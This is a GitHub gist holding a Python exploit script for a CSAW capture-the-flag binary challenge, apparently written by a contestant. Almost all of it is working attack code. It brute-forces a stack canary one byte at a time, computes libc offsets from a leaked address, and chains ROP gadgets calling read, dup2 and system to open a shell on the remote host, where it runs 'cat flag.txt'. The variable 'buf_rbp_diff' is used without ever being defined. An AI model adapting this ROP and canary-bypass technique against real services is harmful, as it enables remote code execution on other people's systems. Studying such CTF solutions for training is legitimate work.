Created
September 17, 2016 19:17
-
-
Save nongiach/02d2026ef7200d9f85c7d051a44444fd to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 -i | |
from struct import pack, unpack | |
from functools import partial | |
from socket import create_connection, timeout | |
from inspect import currentframe | |
from telnetlib import Telnet | |
from sys import exit | |
from time import sleep | |
import re | |
# utils functions {{{ | |
p = partial(pack, "<Q") | |
# print with locals | |
def lprint(fmt): | |
print(fmt.format_map(currentframe().f_back.f_locals)) | |
def bprint(fmt): | |
fmt = ', '.join([ "{0} = {{{0}}}".format(word) | |
for word in fmt.split(' ')]) | |
print(fmt.format_map(currentframe().f_back.f_locals)) | |
def interact(s): | |
t = Telnet() | |
t.sock = s | |
t.interact() | |
# }}} | |
HOST, PORT = "localhost", 4243 | |
HOST, PORT = "pwn.chal.csaw.io", 8002 | |
def try_exploit(in_data): | |
try: | |
s = create_connection((HOST, PORT)) | |
# s.settimeout(2) | |
data = s.recv(2048).decode() | |
s.send(b"2\n") | |
data = s.recv(2048).decode() | |
s.send(in_data) | |
data = s.recv(2048) | |
data = s.recv(2048) | |
except timeout as e: | |
print("Timeout") | |
data = b"" | |
return b"Tutorial" in data | |
def brute_byte(stack): | |
"""bruteforce one byte on the stack | |
:stack: stack before this byte | |
:returns: return new stack | |
""" | |
for i in range(256): | |
alive = try_exploit(stack + bytes([i])) | |
if alive: | |
return stack + bytes([i]) | |
print("brute_byte failed") | |
exit(0) | |
# not the best way to leak the cookie I guess | |
def read_cookie(): | |
stack = b"A" * 312 | |
# uncomment to not bf the cookie again | |
# return stack + b'\x00\xa7\x02bf\xbbh\x90\x10\x18F\xa4\xfc\x7f\x00\x00' | |
for _ in range(8): | |
stack = brute_byte(stack) | |
bprint("stack") | |
return stack + b"B" * 8 | |
# .text libc local | |
puts = 0x68fe0 | |
system = 0x3f4d0 | |
dup2 = 0xdbb70 | |
# .text libc remote | |
puts = 0x6fd60 | |
system = 0x46590 | |
dup2 = 0xebe90 | |
# .text tutorial remote/local | |
read = 0x0000000000400b60 # <read@plt>: | |
pop_rdi = 0x00000000004012e3 # : pop rdi ; ret | |
pop_rsi = 0x00000000004012e1 # : pop rsi ; pop r15 ; ret | |
rw_mem = 0x00000000006020f8 # .data | |
# rw_mem = 0x0000000000602108 # .bss | |
def call1p(func, p1): | |
return p(pop_rdi) + p(p1) + p(func) | |
def call2p(func, p1, p2): | |
return p(pop_rsi) + p(p2) + p(0xcafebabe) + call1p(func, p1) | |
def main(): | |
"""TODO: Docstring for main. | |
:returns: TODO | |
""" | |
global stack, leak, payload | |
s = create_connection((HOST, PORT)) | |
s.settimeout(2) | |
s.send(b"1\n") | |
d = s.recv(2048) | |
try: | |
d += s.recv(2048) | |
bprint("d") | |
except timeout as e: | |
print("Timeout") | |
d = d.decode() | |
bprint("d") | |
leak = re.search("Reference:(0x.*)", d).group(1) | |
leak = int(leak, 16) + 0x500 | |
lprint("leak") | |
# print(try_exploit(b"a" * 100)) | |
stack = read_cookie() | |
cookie_rbp = stack[-16:] | |
bprint("cookie_rbp") | |
rbp = unpack('<Q', stack[-8:])[0] | |
bprint("rbp") | |
# print(try_exploit(stack + b"ABCDEF")) | |
s_sh = rbp + buf_rbp_diff | |
bprint("s_sh") | |
payload = b"2\n" | |
payload += stack | |
stack_pivot = rw_mem + 0x200 | |
# read to load 'sh' in memory | |
payload += call2p(read, 4, rw_mem) | |
payload += call2p(leak - puts + dup2, 4, 1) | |
payload += call2p(leak - puts + dup2, 4, 0) | |
payload += call1p(leak - puts + system, rw_mem) | |
s = create_connection((HOST, PORT)) | |
s.send(payload) | |
sleep(0.3) | |
s.send(b"ls;cat flag.txt\x00") | |
interact(s) # useless because alarm close the client | |
stack = None | |
leak = None | |
payload = None | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment